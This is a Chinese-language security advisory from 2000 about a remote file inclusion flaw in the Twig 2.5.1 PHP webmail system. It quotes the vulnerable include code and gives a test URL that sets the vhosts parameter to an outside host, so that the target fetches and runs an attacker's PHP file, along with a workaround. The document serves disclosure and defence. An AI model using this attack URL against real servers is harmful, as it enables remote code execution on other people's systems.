首页 -> 安全研究

安全研究

安全漏洞
Twig 执行任意远程脚本漏洞

发布日期:2000-11-29
更新日期:2000-11-29

受影响系统:

Christopher Heschong Twig 2.5.1
描述:

Twig是用PHP3写的WWW方式的电子邮件系统。2.5.1版以及某些早期版本的Twig存
在一个设计上的漏洞,远程攻击者利用该漏洞可以访问到WWW服务器上的非授权本地
资源。

Twig附带了一个脚本index.php3,该脚本中使用一个名为vhosts[]的变量,包含了
WWW服务器上各个虚拟主机入口。index.php3根据vhosts[]变量获取php3 include文
件。不幸的是该变量在被引用前未被初始化,远程攻击者可以设置该变量为任意值,
如果所指向的恶意主机存在有效的php3 include文件,其中的脚本内容将被加载/执
行。

有问题的代码部分:

<quote>
// Allow for virtual hosting
$config_dir = "config";
if( $vhosts[$SERVER_NAME] )


    $config_dir = $vhosts[$SERVER_NAME];
    include( $config_dir . "/config.inc.php3" );
    include( $config_dir . "/images.inc.php3" );
  }
</quote>


<* 来源:Joao Gouveia (cercthar@teleweb.pt) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


1. 在一个不支持php3的免费主页站点申请一个帐号,上传一个config.inc.php3文件,
   里面包含"<? phpinfo(); ?>"(显示当前主机中的php信息)

2. 在使用有问题的twig的站点提交类似下列URL:

   http://twig.vuln.site/index.php3?vhosts[twig.vuln.site]=http://free.host.machine/~mydir/

3. 问题主机将会包含进攻击者提供的config.inc.php3并予以执行。



建议:

临时解决办法:

Shaun Clowes提供了一个临时解决方法:
在Twig的config/config.inc.php3的开头增加下列两行代码:
    unset($config);
    unset($vhosts);
出于安全考虑,也在config/dbconfig.inc.php3的开头增加下列代码:
    unset($dbconfig);

厂商补丁:
    
    暂无。

浏览次数:5329
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障